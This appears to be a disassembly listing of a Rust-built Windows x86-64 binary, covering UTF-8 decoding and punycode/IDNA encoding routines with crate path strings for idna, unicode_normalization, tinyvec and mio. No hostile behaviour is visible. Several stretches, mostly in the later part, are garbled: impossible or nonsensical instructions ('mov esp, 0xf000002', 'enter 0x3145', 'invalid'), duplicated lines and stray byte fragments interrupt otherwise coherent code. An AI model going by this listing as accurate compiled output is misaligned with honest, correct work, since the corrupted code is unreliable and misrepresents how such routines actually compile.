add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x14004374b
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.1400f53f0
cmp al, 0x11
ja 0x140043938
movzx eax, al
bt ebx, eax
jb 0x1400436ce
cmp eax, 1
je 0x1400436cb
cmp eax, 5
jne 0x140043938
mov r15b, 1
jmp 0x1400436ce
test sil, 1
sete al
test r15b, 1
sete sil
or sil, al
jmp 0x1400437a6
movzx eax, byte [r13 - 1]
test al, al
js 0x1400437e2
dec r13
movzx ebp, al
jmp 0x140043803
mov sil, 1
movzx eax, byte [r13 - 1]
test al, al
js 0x1400437ba
dec r13
movzx ebp, al
jmp 0x14004389e
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x14004390e
movzx edx, byte [r13 - 3]
cmp dl, 0xbf
jle 0x1400438db
add r13, 0xfffffffffffffffd
and edx, 0xf
jmp 0x1400438f2
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140043872
movzx edx, byte [r13 - 3]
cmp dl, 0xbf
jle 0x14004383c
add r13, 0xfffffffffffffffd
and edx, 0xf
jmp 0x140043853
mov ecx, ebp
call fcn.1400f53f0
cmp al, 0xd
jne 0x14004387b
cmp r13, r12
je 0x14004355b
movzx eax, byte [r13 - 1]
test al, al
js 0x140043828
dec r13
movzx ebp, al
jmp 0x140043865
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140043872
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x1400437fa
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx ebp, al
or ebp, ecx
cmp ebp, 0x110000
jne 0x140043803
jmp 0x14004355b
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x14004385b
mov ecx, ebp
call fcn.1400f53f0
cmp al, 9
je 0x14004355b
mov ecx, ebp
call fcn.1400f53f0
cmp al, 5
je 0x14004355b
jmp 0x140043938
mov ecx, ebp
call fcn.1400f53f0
cmp al, 0xd
jne 0x140043917
cmp r13, r12
je 0x140043938
movzx eax, byte [r13 - 1]
test al, al
js 0x1400438c3
dec r13
movzx ebp, al
jmp 0x140043904
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x14004390e
movzx edx, byte [r13 - 3]
push rbp
std
cmp dl, 0xc0
jge 0x1400437d6
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx ebp, al
or ebp, ecx
cmp ebp, 0x110000
jne 0x14004389e
jmp 0x140043938
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x1400438fa
mov ecx, ebp
call fcn.1400f53f0
cmp al, 0x11
ja 0x140043938
movzx eax, al
mov ecx, 0x20023
bt ecx, eax
jae 0x140043938
test sil, sil
jne 0x14004355b
mov byte [rsp + 0x32], 1
movzx r15d, byte [rsp + 0x30]
movzx eax, byte [rsp + 0x31]
mov dword [rsp + 0x128], eax
movzx r14d, byte [rsp + 0x32]
movzx ebp, byte [rsp + 0x33]
movzx eax, byte [rsp + 0x34]
mov dword [rsp + 0x50], eax
movzx eax, byte [rsp + 0x35]
mov dword [rsp + 0x138], eax
movzx eax, byte [rsp + 0x36]
mov dword [rsp + 0x150], eax
movzx eax, byte [rsp + 0x37]
mov dword [rsp + 0x130], eax
movzx eax, byte [rsp + 0x38]
mov dword [rsp + 0x148], eax
movzx eax, byte [rsp + 0x39]
mov dword [rsp + 0x12c], eax
movzx eax, byte [rsp + 0x3a]
mov dword [rsp + 0x164], eax
movzx eax, byte [rsp + 0x3b]
mov dword [rsp + 0x118], eax
cmp qword [rsp + 0x1d8], 0
mov rsi, qword [rsp + 0x350]
je 0x1400439e5
mov r8, qword [rsp + 0x1e0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x10]
test rdi, rdi
mov rbx, qword [rsp + 0x158]
je 0x140043a1b
js 0x140044657
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400df910
test rax, rax
jne 0x140043a20
mov ecx, 1
mov rdx, rdi
call fcn.1401082a0
mov eax, 1
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsi], rdi
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 0
lea rsi, [rbx + 0x18]
cmp qword [rbx + 0x18], 0
je 0x140043a5e
mov r8, qword [rbx + 0x20]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x60]
movdqu xmmword [rsi], xmm0
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
mov sil, 1
mov dword [rsp + 0x114], ebp
mov ebx, dword [rsp + 0x50]
mov dword [rsp + 0x168], r14d
jmp 0x140043b26
mov rax, qword [rdi]
mov rsi, qword [rdi + 0x10]
sub rax, rsi
cmp rax, rdx
jb 0x1400443b6
mov rbp, rdx
mov rcx, qword [rdi + 8]
add rcx, rsi
mov rdx, qword [rsp + 0x40]
mov r8, rbp
call fcn.140106530
add rbp, rsi
mov rcx, rbp
mov r15d, dword [rsp + 0x140]
mov ebp, dword [rsp + 0x114]
mov qword [rdi + 0x10], rcx
xor esi, esi
mov dword [rsp + 0x140], r15d
lea rcx, [rsp + 0x60]
call fcn.140037730
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400443d0
test sil, 1
mov rdi, qword [rsp + 0x350]
mov r10d, 1
movabs r15, 0x8080808080808080
jne 0x140043b94
mov rax, qword [rdi + 0x10]
cmp rax, qword [rdi]
jne 0x140043b85
mov rcx, rdi
mov rsi, rdx
call fcn.1400ba070
mov r10d, 1
mov rdx, rsi
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2e
inc rax
mov qword [rdi + 0x10], rax
cmp rdx, 8
jae 0x140043c6a
test rdx, rdx
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 1], 0
js 0x140043cb9
mov rax, rdx
dec rax
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 2], 0
js 0x140043cb9
mov rax, rdx
add rax, 0xfffffffffffffffe
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 3], 0
js 0x140043cb9
mov rax, rdx
add rax, 0xfffffffffffffffd
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 4], 0
js 0x140043cb9
mov rax, rdx
add rax, 0xfffffffffffffffc
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 5], 0
js 0x140043cb9
mov rax, rdx
add rax, 0xfffffffffffffffb
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 6], 0
js 0x140043cb9
mov rax, rdx
add rax, 0xfffffffffffffffa
je 0x140043ae1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 7], 0
js 0x140043cb9
mov rax, rdx
add rax, 0xfffffffffffffff9
jne 0x140043cb9
jmp 0x140043ae1
mov rax, qword [rsp + 0x40]
test qword [rax], r15
jne 0x140043cb9
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + 7]
and rax, 0xfffffffffffffff8
sub rax, rcx
mov ecx, 8
cmove rax, rcx
lea rcx, [rdx - 8]
cmp rax, rcx
jae 0x140043caa
mov r8, qword [rsp + 0x40]
test qword [r8 + rax], r15
jne 0x140043cb9
add rax, 8
cmp rax, rcx
jb 0x140043c96
mov rax, qword [rsp + 0x40]
test qword [rax + rcx], r15
je 0x140043ae1
mov rcx, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rcx, r15
mov rax, r15
cmp rcx, 3
jbe 0x140043dd2
mov qword [rsp + 0x1b8], r15
mov rcx, qword [rdi + 8]
mov dword [rcx + rax], 0x2d2d6e78
add rax, 4
mov qword [rdi + 0x10], rax
xor esi, esi
test rdx, rdx
je 0x140043b2e
mov rbx, qword [rsp + 0x40]
mov r15, rbx
add r15, rdx
xor r12d, r12d
mov rdi, qword [rsp + 0x350]
jmp 0x140043d20
mov ebp, dword [rsp + 0x114]
inc esi
cmp rbx, r15
je 0x140043dff
movzx r8d, byte [rbx]
movzx edx, r8b
test dl, dl
js 0x140043d31
inc rbx
jmp 0x140043d97
mov eax, edx
and eax, 0x1f
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140043d7e
movzx ecx, byte [rbx + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x140043d8c
movzx edx, byte [rbx + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x140043df8
add rbx, 4
jmp 0x140043d97
add rbx, 2
shl eax, 6
or eax, r9d
mov edx, eax
jmp 0x140043d97
add rbx, 3
shl eax, 0xc
or ecx, eax
mov edx, ecx
mov eax, esi
inc eax
mov dword [rsp + 0x124], eax
je 0x140044361
mov rdi, qword [rsp + 0x350]
cmp edx, 0x80
jae 0x140043d0e
mov rcx, rdi
call fcn.1400f6c10
mov r10d, 1
inc r12d
jmp 0x140043d0e
mov r8d, 4
mov rcx, rdi
mov rsi, rdx
mov rdx, r15
call fcn.140108ba0
mov r10d, 1
mov rdx, rsi
mov rax, qword [rdi + 0x10]
jmp 0x140043cd0
mov dword [rsp + 0x124], esi
test r12d, r12d
mov ebx, dword [rsp + 0x50]
je 0x140043e32
mov rax, qword [rdi + 0x10]
cmp rax, qword [rdi]
jne 0x140043e23
mov rcx, rdi
call fcn.1400ba070
mov r10d, 1
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2d
inc rax
mov qword [rdi + 0x10], rax
xor r8d, r8d
mov esi, 0
cmp r12d, dword [rsp + 0x124]
jae 0x140043b2e
mov eax, 0x80
mov r13d, 0x48
mov dword [rsp + 0x5c], r12d
mov qword [rsp + 0x1c0], r15
mov dword [rsp + 0x16c], r12d
mov rcx, qword [rsp + 0x40]
jmp 0x140043e7a
inc rcx
cmp eax, ebp
jbe 0x140043f1d
xor edx, edx
cmp rcx, r15
je 0x140043f18
movzx r11d, byte [rcx]
movzx ebp, r11b
test bpl, bpl
jns 0x140043e6f
mov r9d, ebp
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp bpl, 0xdf
jbe 0x140043eec
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140043eff
movzx ebp, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ebp, 0x3f
or ebp, r10d
or ebp, r9d
cmp ebp, 0x110000
mov r10d, 1
je 0x140043fd5
add rcx, 4
jmp 0x140043e72
add rcx, 2
shl r9d, 6
or r9d, esi
mov ebp, r9d
jmp 0x140043e72
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov ebp, r10d
mov r10d, 1
jmp 0x140043e72
jmp 0x140043fd5
mov edx, 1
cmp rcx, r15
jne 0x140043f49
jmp 0x140043fd5
inc rcx
cmp r9d, r10d
mov ebp, r10d
cmovb ebp, r9d
cmp r10d, eax
cmovb ebp, r9d
cmp rcx, r15
je 0x140043fcf
mov r9d, ebp
movzx ebx, byte [rcx]
movzx r10d, bl
test r10b, r10b
jns 0x140043f2c
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rcx + 1]
and ebp, 0x3f
cmp r10b, 0xdf
jbe 0x140043fa6
movzx esi, byte [rcx + 2]
shl ebp, 6
and esi, 0x3f
or esi, ebp
cmp bl, 0xf0
jb 0x140043fb9
movzx r10d, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl esi, 6
and r10d, 0x3f
or r10d, esi
or r10d, r11d
cmp r10d, 0x110000
je 0x140043fcc
add rcx, 4
jmp 0x140043f2f
add rcx, 2
shl r11d, 6
or r11d, ebp
mov r10d, r11d
jmp 0x140043f2f
add rcx, 3
shl r11d, 0xc
or esi, r11d
mov r10d, esi
jmp 0x140043f2f
mov ebp, r9d
mov r10d, 1
test edx, edx
je 0x140044616
mov ecx, dword [rsp + 0x5c]
inc ecx
mov edi, 0x1a
je 0x1400445df
mov r9d, ebp
sub r9d, eax
mov eax, r8d
not eax
xor edx, edx
div ecx
cmp r9d, eax
ja 0x140044361
mov edx, r9d
imul edx, ecx
add edx, r8d
mov dword [rsp + 0x4c], edx
mov rcx, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x50]
jmp 0x140044035
mov r8d, dword [rsp + 0x4c]
mov r9d, dword [rsp + 0x5c]
mov ebx, dword [rsp + 0x50]
cmp rcx, r15
je 0x14004432d
movzx r8d, byte [rcx]
movzx eax, r8b
test al, al
js 0x14004404a
inc rcx
cmp eax, ebp
jae 0x1400440c4
jmp 0x1400440ba
mov r11, rcx
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [r11 + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x14004409a
movzx edx, byte [r11 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400440a8
movzx eax, byte [r11 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x140044355
add r11, 4
jmp 0x1400440b3
add r11, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x1400440b3
add r11, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
mov rcx, r11
cmp eax, ebp
jae 0x1400440c4
inc dword [rsp + 0x4c]
je 0x140044361
cmp eax, ebp
jne 0x14004401e
mov qword [rsp + 0x1c8], rcx
lea ebx, [r13 + 0x1a]
lea ecx, [r13 - 0x24]
neg ecx
cmp ebx, 0x25
cmovb ecx, edi
cmp r13d, 0x24
cmovae ecx, r10d
mov edx, dword [rsp + 0x4c]
mov eax, edx
cmp edx, ecx
jae 0x1400441bc
mov edx, 0x61
cmp eax, 0x1a
jb 0x140044112
mov edx, 0x16
cmp eax, 0x24
jae 0x1400445fc
add edx, eax
mov rcx, qword [rsp + 0x350]
call fcn.1400f6c10
mov eax, dword [rsp + 0x5c]
mov r9d, eax
inc r9d
mov ebx, dword [rsp + 0x50]
mov r11d, 0xd41d41d5
mov r12d, dword [rsp + 0x16c]
je 0x140044564
cmp eax, r12d
mov ecx, 2
mov eax, 0x2bc
mov esp, 0xf000002
enter 0x3145, 0xffffffffffffffc0
mov esp, 0xf000002
enter 0x3145, 0xffffffffffffffc0
mov eax, dword [rsp + 0x4c]
xor edx, edx
div ecx
mov ecx, eax
xor edx, edx
div r9d
add eax, ecx
cmp eax, 0x1c8
mov r14d, dword [rsp + 0x168]
push 0x4c000001
mov edi, dword [rsp + 0x1c0]
jb 0x1400442eb
xor ecx, ecx
nop word cs:[rax + rax]
mov edx, eax
imul rdx, r11
shr rdx, 0x20
mov r10d, eax
sub r10d, edx
shr r10d, 1
add r10d, edx
shr r10d, 5
add ecx, 0x24
cmp eax, 0x3e57
mov eax, r10d
ja 0x140044190
jmp 0x1400442f0
mov r12d, r13d
neg r12d
mov r14d, 0x48
mov eax, dword [rsp + 0x4c]
jmp 0x1400441fc
mov rcx, qword [r15 + 8]
mov byte [rcx + rdx], sil
inc rdx
lea ecx, [r12 + r14]
cmp r14d, ebx
cmovae ecx, edi
cmp r14d, r13d
cmovbe ecx, r10d
mov qword [r15 + 0x10], rdx
add r14d, 0x24
cmp eax, ecx
jb 0x1400440fa
mov r8d, ecx
sub r8d, 0x24
je 0x140044527
sub eax, ecx
neg r8d
xor edx, edx
div r8d
add edx, ecx
mov esi, 0x61
cmp edx, 0x1a
jb 0x14004422d
mov esi, 0x16
cmp edx, 0x24
jae 0x1400445fc
add esi, edx
cmp esi, 0x80
jae 0x140044270
mov r15, qword [rsp + 0x350]
mov rdx, qword [r15 + 0x10]
cmp rdx, qword [r15]
jne 0x1400441d0
mov rcx, r15
mov edi, eax
call fcn.1400ba070
mov r10d, 1
mov eax, edi
mov edi, 0x1a
mov rdx, qword [r15 + 0x10]
jmp 0x1400441d0
mov rdx, qword [rsp + 0x350]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
sub rcx, rdx
cmp rcx, 1
jbe 0x1400442c0
movzx ecx, si
mov r8d, ecx
shr r8d, 6
mov r15, qword [rsp + 0x350]
mov r9, qword [r15 + 8]
and ecx, 0x3f
shl ecx, 8
movzx r8d, r8w
or r8d, ecx
or r8d, 0x80c0
mov word [r9 + rdx], r8w
add rdx, 2
jmp 0x1400441db
mov r8d, 2
mov r15, qword [rsp + 0x350]
mov rcx, r15
mov edi, eax
call fcn.140108ba0
mov r10d, 1
mov eax, edi
mov edi, 0x1a
mov rdx, qword [r15 + 0x10]
jmp 0x140044288
xor ecx, ecx
mov r10d, eax
lea eax, [r10*4]
lea eax, [rax + rax*8]
add r10d, 0x26
xor edx, edx
div r10w
movzx r13d, ax
add r13d, ecx
mov dword [rsp + 0x5c], r9d
mov dword [rsp + 0x4c], r8d
mov r10d, 1
mov rcx, qword [rsp + 0x1c8]
cmp rcx, r15
jne 0x140044035
inc r8d
inc ebp
xor esi, esi
mov dword [rsp + 0x5c], r9d
mov eax, ebp
cmp r9d, dword [rsp + 0x124]
mov ebp, dword [rsp + 0x114]
jb 0x140043e68
jmp 0x140043b2e
mov r8d, dword [rsp + 0x4c]
mov r9d, dword [rsp + 0x5c]
jmp 0x14004432d
mov rdi, qword [rsp + 0x350]
mov rax, qword [rdi + 0x10]
mov r15b, 1
xor esi, esi
mov rcx, qword [rsp + 0x1b8]
cmp rax, rcx
mov ebp, dword [rsp + 0x114]
mov ebx, dword [rsp + 0x50]
jb 0x140043b26
mov r15b, 1
test rcx, rcx
je 0x140043b20
cmp rax, rcx
jbe 0x140043b20
mov rax, qword [rdi + 8]
cmp byte [rax + rcx], 0xbf
jg 0x140043b20
jmp 0x14004463f
mov rcx, rdi
mov r8, rdx
mov rdx, rsi
mov rbp, r8
call fcn.140108ba0
mov rsi, qword [rdi + 0x10]
jmp 0x140043af7
mov r12, qword [rsp + 0x1d0]
mov r15, qword [rsp + 0x350]
mov r13, qword [rsp + 0x158]
mov r8d, dword [rsp + 0x128]
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x12c]
mov edx, dword [rsp + 0x164]
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x50], ebx
cmp byte [r13 + 0x32], 0
jne 0x1400422ea
mov eax, ecx
mov esi, edx
mov ecx, r8d
mov r13d, dword [rsp + 0x140]
or cl, r13b
mov edx, r14d
or dl, bpl
or dl, cl
mov r9d, dword [rsp + 0x50]
mov ecx, r9d
mov r10d, dword [rsp + 0x138]
or cl, r10b
mov r11d, dword [rsp + 0x150]
or cl, r11b
or cl, dl
mov edi, dword [rsp + 0x130]
mov edx, edi
mov ebx, dword [rsp + 0x148]
or dl, bl
or dl, al
or dl, sil
or dl, cl
mov cl, 2
mov r15d, dword [rsp + 0x118]
or dl, r15b
je 0x1400444b7
mov byte [r12 + 1], r8b
mov byte [r12 + 2], r14b
mov byte [r12 + 3], bpl
mov byte [r12 + 4], r9b
mov byte [r12 + 5], r10b
mov byte [r12 + 6], r11b
mov byte [r12 + 7], dil
mov byte [r12 + 8], bl
mov byte [r12 + 9], al
mov byte [r12 + 0xa], sil
mov byte [r12 + 0xb], r15b
mov ecx, r13d
mov byte [r12], cl
movaps xmm6, xmmword [rsp + 0x240]
movaps xmm7, xmmword [rsp + 0x250]
movaps xmm8, xmmword [rsp + 0x260]
movaps xmm9, xmmword [rsp + 0x270]
movaps xmm10, xmmword [rsp + 0x280]
movaps xmm11, xmmword [rsp + 0x290]
movaps xmm12, xmmword [rsp + 0x2a0]
movaps xmm13, xmmword [rsp + 0x2b0]
movaps xmm14, xmmword [rsp + 0x2c0]
movaps xmm15, xmmword [rsp + 0x2d0]
add rsp, 0x2e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.140108b20
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov rcx, rdx
mov edx, 4
call fcn.140108620
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140138c94]
mov edx, 0x321c
call fcn.140108ac0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401087d0
lea r8, [0x14012d0e8]
call fcn.1401085a0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov rcx, rdx
mov edx, 4
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.1401085a0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.1401085a0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbp
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r14
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbp
call fcn.140108620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401087d0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rsH
mov edx, 4
call fcn.140108620
lea rcx, str.explicit_panic
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
mov edx, 0xe
call fcn.140108630
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.140108970
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
mov r8, r15
mov r9, rsi
call fcn.140108ac0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172bb0]
mov edx, 0x30
call fcn.140108630
call fcn.140010970
int3
mov r14, qword [rdi + 0x20]
mov qword [rdi + 0x20], 0
test r14, r14
je 0x14004623b
mov rax, qword [rdi + 0x18]
xor r15d, r15d
xor ecx, ecx
nop
mov rdx, qword [rax + rcx*8]
mov r8, qword [rdx]
lea r12, [rcx + 1]
cmp r8, 1
jbe 0x140046243
mov rcx, r12
cmp r14, r12
jne 0x140046220
jmp 0x14004625d
xor r12d, r12d
xor r15d, r15d
jmp 0x140046258
lock dec qword [rdx]
mov r15d, 1
jne 0x140046258
mov rcx, qword [rax + rcx*8]
call fcn.140047690
cmp r12, r14
jne 0x1400462b7
sub r14, r15
mov qword [rdi + 0x20], r14
test bl, bl
jne 0x14004627b
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14004634d
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400462dc
mov rcx, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rdx, [r15*8]
sub rax, rdx
mov qword [rax + r12*8], rcx
inc r12
cmp r14, r12
je 0x14004625d
mov rax, qword [rdi + 0x18]
mov rcx, qword [rax + r12*8]
mov rdx, qword [rcx]
cmp rdx, 1
ja 0x1400462a0
inc r15
lock dec qword [rcx]
jne 0x1400462af
mov rcx, qword [rax + r12*8]
call fcn.140047690
jmp 0x1400462af
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
test al, al
je 0x140046204
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013c0a0]
lea r8, [rsp + 0x28]
mov edx, 0x2b
call fcn.1401088e0
call fcn.1401105f0
test al, al
jne 0x14004627b
mov byte [rdi + 9], 1
jmp 0x14004627b
cmp al, ch
mov dword [rsi], ebx
or al, 0
int3
mov r8, qword [rsi + 0x18]
mov rax, rdi
sub rax, r8
cmp rcx, rax
jbe 0x140046498
mov rbx, qword [rsi]
mov rax, rdi
mov eax, edi
mov eax, edi
sub rax, rcx
sub eax, ecx
sub r8, rax
cmp rax, r8
jbe 0x140046479
mov rdx, rbx
sub rdx, rdi
cli
cli
cmp rdx, r8
jb 0x140046479
ret 0x1872
mov rdx, qword [rsi + 8]
lea rcx, [rdx + rdi*8]
or al, 0xfa
or byte [rax - 0x73], cl
or al, 0xfa
shl r8, 3
shl eax, 3
add rsp, 0x20
pop rbx
pop rdi
and byte [rbx + 0x5f], bl
pop rsi
jmp fcn.140106530
sub rbx, rax
mov r8, qword [rsi + 8]
or byte [rcx - 0x73], cl
adc al, 0xc8
or byte [rcx - 0x73], cl
adc al, 0xc8
lea rcx, [r8 + rbx*8]
shl rax, 3
mov r8, rax
call fcn.140106530
mov qword [rsi + 0x10], rbx
pop rsi
invalid
pop rsi
adc byte [rax - 0x7d], cl
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
and al, 0x38
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov dword [rsp + 0x88], 1
mov dword [rsp + 0x88], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
jo case.0x140018f24.2079
call fcn.140108560
int3
movabs byte [0x415741cccc000c1f], al
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
sub esp, 0xf8
sub esp, 0xf8
add byte [rax], al
add byte [rcx - 0x77], cl
mov r15, rdx
mov r15, rdx
mov rax, qword [rcx]
lea rdx, [rax + 0x10]
lea r8, [rax + 0x20]
lea r9, [rax + 8]
lea r10, [rax + 0x40]
lea r11, [rax + 0x50]
adc byte [rbp + rcx*4 + 0x40], cl
and byte [rbp + rcx*4 + 0x48], cl
or byte [rbp + rcx*4 + 0x50], cl
lea r11, [rax + 0x50]
lea r14, [rax + 0x54]
lea r12, [rax + 0x48]
lea r13, [rax + 0x59]
lea rcx, [rax + 0x58]
lea rsi, [rax + 0x5a]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdx
lea rdx, [0x14013c620]
mov qword [rsp + 0x50], rdx
lea rbx, [rsp + 0x58]
mov qword [rsp + 0x58], r8
lea rdx, [0x14013c640]
mov qword [rsp + 0x60], rdx
lea rdi, [rsp + 0x68]
mov qword [rsp + 0x68], r9
lea rdx, [0x14013c660]
mov qword [rsp + 0x70], rdx
lea rsi, [rsp + 0x78]
mov qword [rsp + 0x78], r10
lea rdx, [0x14013c060]
mov qword [rsp + 0x80], rdx
lea rbp, [rsp + 0x88]
mov qword [rsp + 0x88], r11
lea r8, [0x14013c680]
mov qword [rsp + 0x90], r8
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], r13
lea rdx, [0x14013c6a0]
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xc8], rcx
lea rcx, [0x14013c178]
mov qword [rsp + 0xd0], rcx
lea r13, [rsp + 0xd8]
mov qword [rsp + 0xd8], rax
lea rax, [0x14013c6c0]
mov qword [rsp + 0xe0], rax
lea r12, [rsp + 0xe8]
lea rax, [rsp + 0x40]
mov qword [rsp + 0xe8], rax
lea rax, [0x14013c6e0]
mov qword [rsp + 0xf0], rax
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov eax, dword [rdi + 0x28]
